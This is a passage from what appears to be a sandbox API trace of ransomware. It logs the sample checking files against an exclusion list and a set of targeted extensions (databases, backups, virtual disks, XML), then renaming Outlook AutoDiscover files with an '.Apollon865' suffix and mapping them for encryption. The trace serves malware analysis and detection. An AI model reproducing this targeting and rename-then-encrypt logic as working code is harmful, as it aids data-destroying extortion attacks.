	[0069.858] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0069.858] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2="Apollon865.txt.exe") returned -1
	[0069.858] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2=".") returned 1
	[0069.858] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2="..") returned 1
	[0069.858] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2="windows") returned -1
	[0069.858] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2="bootmgr") returned -1
	[0069.858] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2="temp") returned -1
	[0069.858] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2="pagefile.sys") returned -1
	[0069.858] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2="boot") returned -1
	[0069.858] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2="ids.txt") returned -1
	[0069.858] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2="ntuser.dat") returned -1
	[0069.858] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2="perflogs") returned -1
	[0069.858] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2="MSBuild") returned -1
	[0069.858] lstrlenW (lpString="AMERITECH.NET.XML") returned 17
	[0069.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\*") returned 64
	[0069.858] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="AMERITECH.NET.XML" | out: lpString1="AMERITECH.NET.XML") returned="AMERITECH.NET.XML"
	[0069.859] lstrlenW (lpString="AMERITECH.NET.XML") returned 17
	[0069.859] lstrlenW (lpString="Apollon865") returned 10
	[0069.859] lstrcmpiW (lpString1="CH.NET.XML", lpString2="Apollon865") returned 1
	[0069.859] lstrlenW (lpString=".dll") returned 4
	[0069.859] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2=".dll") returned 1
	[0069.859] lstrlenW (lpString=".lnk") returned 4
	[0069.859] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2=".lnk") returned 1
	[0069.859] lstrlenW (lpString=".ini") returned 4
	[0069.859] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2=".ini") returned 1
	[0069.859] lstrlenW (lpString=".sys") returned 4
	[0069.859] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2=".sys") returned 1
	[0069.859] lstrlenW (lpString="AMERITECH.NET.XML") returned 17
	[0069.859] lstrlenW (lpString="bak") returned 3
	[0069.859] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.859] lstrlenW (lpString="ba_") returned 3
	[0069.859] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.859] lstrlenW (lpString="dbb") returned 3
	[0069.859] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.859] lstrlenW (lpString="vmdk") returned 4
	[0069.859] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.859] lstrlenW (lpString="rar") returned 3
	[0069.859] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.859] lstrlenW (lpString="zip") returned 3
	[0069.859] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.859] lstrlenW (lpString="tgz") returned 3
	[0069.859] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.859] lstrlenW (lpString="vbox") returned 4
	[0069.859] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.859] lstrlenW (lpString="vdi") returned 3
	[0069.859] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.859] lstrlenW (lpString="vhd") returned 3
	[0069.859] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.859] lstrlenW (lpString="vhdx") returned 4
	[0069.859] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.859] lstrlenW (lpString="avhd") returned 4
	[0069.859] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.860] lstrlenW (lpString="db") returned 2
	[0069.860] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.860] lstrlenW (lpString="db2") returned 3
	[0069.860] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.860] lstrlenW (lpString="db3") returned 3
	[0069.860] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.860] lstrlenW (lpString="dbf") returned 3
	[0069.860] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.860] lstrlenW (lpString="mdf") returned 3
	[0069.860] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.860] lstrlenW (lpString="mdb") returned 3
	[0069.860] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.860] lstrlenW (lpString="sql") returned 3
	[0069.860] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.860] lstrlenW (lpString="sqlite") returned 6
	[0069.860] lstrcmpiW (lpString1="ET.XML", lpString2="sqlite") returned -1
	[0069.860] lstrlenW (lpString="sqlite3") returned 7
	[0069.860] lstrcmpiW (lpString1="NET.XML", lpString2="sqlite3") returned -1
	[0069.860] lstrlenW (lpString="sqlitedb") returned 8
	[0069.860] lstrcmpiW (lpString1=".NET.XML", lpString2="sqlitedb") returned -1
	[0069.860] lstrlenW (lpString="xml") returned 3
	[0069.860] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.860] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\AMERITECH.NET.XML.Apollon865") returned 91
	[0069.860] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\AMERITECH.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\ameritech.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\AMERITECH.NET.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\ameritech.net.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\AMERITECH.NET.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\ameritech.net.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0069.861] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=816) returned 1
	[0069.862] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.862] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.862] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0069.862] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0069.863] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.863] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0069.863] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0069.864] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0069.865] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0069.866] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.866] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0069.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.866] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.866] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0069.867] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.867] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0069.867] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.867] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0069.867] CloseHandle (hObject=0x118) returned 1
	[0069.867] CloseHandle (hObject=0xc0) returned 1
	[0069.867] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.867] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0069.867] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.867] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BTINTERNET.NET.XML", cAlternateFileName="BTINTE~1.XML")) returned 1
	[0069.867] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0069.867] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.867] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2=".") returned 1
	[0069.867] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2="..") returned 1
	[0069.867] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2="windows") returned -1
	[0069.867] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2="bootmgr") returned 1
	[0069.867] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2="temp") returned -1
	[0069.867] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2="pagefile.sys") returned -1
	[0069.867] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2="boot") returned 1
	[0069.867] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2="ids.txt") returned -1
	[0069.867] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2="ntuser.dat") returned -1
	[0069.867] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2="perflogs") returned -1
	[0069.867] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2="MSBuild") returned -1
	[0069.867] lstrlenW (lpString="BTINTERNET.NET.XML") returned 18
	[0069.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\AMERITECH.NET.XML") returned 80
	[0069.868] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="BTINTERNET.NET.XML" | out: lpString1="BTINTERNET.NET.XML") returned="BTINTERNET.NET.XML"
	[0069.868] lstrlenW (lpString="BTINTERNET.NET.XML") returned 18
	[0069.868] lstrlenW (lpString="Apollon865") returned 10
	[0069.868] lstrcmpiW (lpString1="ET.NET.XML", lpString2="Apollon865") returned 1
	[0069.868] lstrlenW (lpString=".dll") returned 4
	[0069.868] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2=".dll") returned 1
	[0069.868] lstrlenW (lpString=".lnk") returned 4
	[0069.868] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2=".lnk") returned 1
	[0069.868] lstrlenW (lpString=".ini") returned 4
	[0069.868] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2=".ini") returned 1
	[0069.868] lstrlenW (lpString=".sys") returned 4
	[0069.868] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2=".sys") returned 1
	[0069.868] lstrlenW (lpString="BTINTERNET.NET.XML") returned 18
	[0069.868] lstrlenW (lpString="bak") returned 3
	[0069.868] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.868] lstrlenW (lpString="ba_") returned 3
	[0069.868] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.868] lstrlenW (lpString="dbb") returned 3
	[0069.868] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.868] lstrlenW (lpString="vmdk") returned 4
	[0069.868] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.868] lstrlenW (lpString="rar") returned 3
	[0069.868] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.868] lstrlenW (lpString="zip") returned 3
	[0069.868] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.868] lstrlenW (lpString="tgz") returned 3
	[0069.868] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.868] lstrlenW (lpString="vbox") returned 4
	[0069.868] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.868] lstrlenW (lpString="vdi") returned 3
	[0069.868] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.868] lstrlenW (lpString="vhd") returned 3
	[0069.868] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.868] lstrlenW (lpString="vhdx") returned 4
	[0069.868] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.868] lstrlenW (lpString="avhd") returned 4
	[0069.868] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.869] lstrlenW (lpString="db") returned 2
	[0069.869] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.869] lstrlenW (lpString="db2") returned 3
	[0069.869] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.869] lstrlenW (lpString="db3") returned 3
	[0069.869] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.869] lstrlenW (lpString="dbf") returned 3
	[0069.869] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.869] lstrlenW (lpString="mdf") returned 3
	[0069.869] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.869] lstrlenW (lpString="mdb") returned 3
	[0069.869] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.869] lstrlenW (lpString="sql") returned 3
	[0069.869] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.869] lstrlenW (lpString="sqlite") returned 6
	[0069.869] lstrcmpiW (lpString1="ET.XML", lpString2="sqlite") returned -1
	[0069.869] lstrlenW (lpString="sqlite3") returned 7
	[0069.869] lstrcmpiW (lpString1="NET.XML", lpString2="sqlite3") returned -1
	[0069.869] lstrlenW (lpString="sqlitedb") returned 8
	[0069.869] lstrcmpiW (lpString1=".NET.XML", lpString2="sqlitedb") returned -1
	[0069.869] lstrlenW (lpString="xml") returned 3
	[0069.869] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.869] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTINTERNET.NET.XML.Apollon865") returned 92
	[0069.869] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTINTERNET.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btinternet.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTINTERNET.NET.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btinternet.net.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTINTERNET.NET.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btinternet.net.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0069.871] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=807) returned 1
	[0069.871] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.871] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.871] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0069.871] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0069.872] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.872] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0069.872] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0069.873] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0069.874] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0069.875] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.875] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0069.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.875] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.875] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0069.875] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.875] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0069.875] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.875] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0069.875] CloseHandle (hObject=0x118) returned 1
	[0069.876] CloseHandle (hObject=0xc0) returned 1
	[0069.876] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.876] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0069.876] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.876] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x51b201b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BTOPENWORLD.COM.XML", cAlternateFileName="BTOPEN~1.XML")) returned 1
	[0069.876] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0069.876] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.876] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2=".") returned 1
	[0069.876] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2="..") returned 1
	[0069.876] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2="windows") returned -1
	[0069.876] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2="bootmgr") returned 1
	[0069.876] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2="temp") returned -1
	[0069.876] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2="pagefile.sys") returned -1
	[0069.876] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2="boot") returned 1
	[0069.876] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2="ids.txt") returned -1
	[0069.876] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2="ntuser.dat") returned -1
	[0069.876] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2="perflogs") returned -1
	[0069.876] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2="MSBuild") returned -1
	[0069.876] lstrlenW (lpString="BTOPENWORLD.COM.XML") returned 19
	[0069.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTINTERNET.NET.XML") returned 81
	[0069.876] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="BTOPENWORLD.COM.XML" | out: lpString1="BTOPENWORLD.COM.XML") returned="BTOPENWORLD.COM.XML"
	[0069.876] lstrlenW (lpString="BTOPENWORLD.COM.XML") returned 19
	[0069.876] lstrlenW (lpString="Apollon865") returned 10
	[0069.876] lstrcmpiW (lpString1="LD.COM.XML", lpString2="Apollon865") returned 1
	[0069.876] lstrlenW (lpString=".dll") returned 4
	[0069.876] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2=".dll") returned 1
	[0069.876] lstrlenW (lpString=".lnk") returned 4
	[0069.876] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2=".lnk") returned 1
	[0069.876] lstrlenW (lpString=".ini") returned 4
	[0069.876] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2=".ini") returned 1
	[0069.877] lstrlenW (lpString=".sys") returned 4
	[0069.877] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2=".sys") returned 1
	[0069.877] lstrlenW (lpString="BTOPENWORLD.COM.XML") returned 19
	[0069.877] lstrlenW (lpString="bak") returned 3
	[0069.877] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.877] lstrlenW (lpString="ba_") returned 3
	[0069.877] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.877] lstrlenW (lpString="dbb") returned 3
	[0069.877] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.877] lstrlenW (lpString="vmdk") returned 4
	[0069.877] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.877] lstrlenW (lpString="rar") returned 3
	[0069.877] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.877] lstrlenW (lpString="zip") returned 3
	[0069.877] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.877] lstrlenW (lpString="tgz") returned 3
	[0069.877] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.877] lstrlenW (lpString="vbox") returned 4
	[0069.877] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.877] lstrlenW (lpString="vdi") returned 3
	[0069.877] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.877] lstrlenW (lpString="vhd") returned 3
	[0069.877] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.877] lstrlenW (lpString="vhdx") returned 4
	[0069.877] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.877] lstrlenW (lpString="avhd") returned 4
	[0069.877] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.877] lstrlenW (lpString="db") returned 2
	[0069.877] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.877] lstrlenW (lpString="db2") returned 3
	[0069.877] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.877] lstrlenW (lpString="db3") returned 3
	[0069.877] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.877] lstrlenW (lpString="dbf") returned 3
	[0069.877] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.877] lstrlenW (lpString="mdf") returned 3
	[0069.877] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.878] lstrlenW (lpString="mdb") returned 3
	[0069.878] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.878] lstrlenW (lpString="sql") returned 3
	[0069.878] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.878] lstrlenW (lpString="sqlite") returned 6
	[0069.878] lstrcmpiW (lpString1="OM.XML", lpString2="sqlite") returned -1
	[0069.878] lstrlenW (lpString="sqlite3") returned 7
	[0069.878] lstrcmpiW (lpString1="COM.XML", lpString2="sqlite3") returned -1
	[0069.878] lstrlenW (lpString="sqlitedb") returned 8
	[0069.878] lstrcmpiW (lpString1=".COM.XML", lpString2="sqlitedb") returned -1
	[0069.878] lstrlenW (lpString="xml") returned 3
	[0069.878] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.878] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTOPENWORLD.COM.XML.Apollon865") returned 93
	[0069.878] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTOPENWORLD.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btopenworld.com.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTOPENWORLD.COM.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btopenworld.com.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTOPENWORLD.COM.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btopenworld.com.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0069.879] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=807) returned 1
	[0069.879] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.880] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.880] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0069.880] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0069.880] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
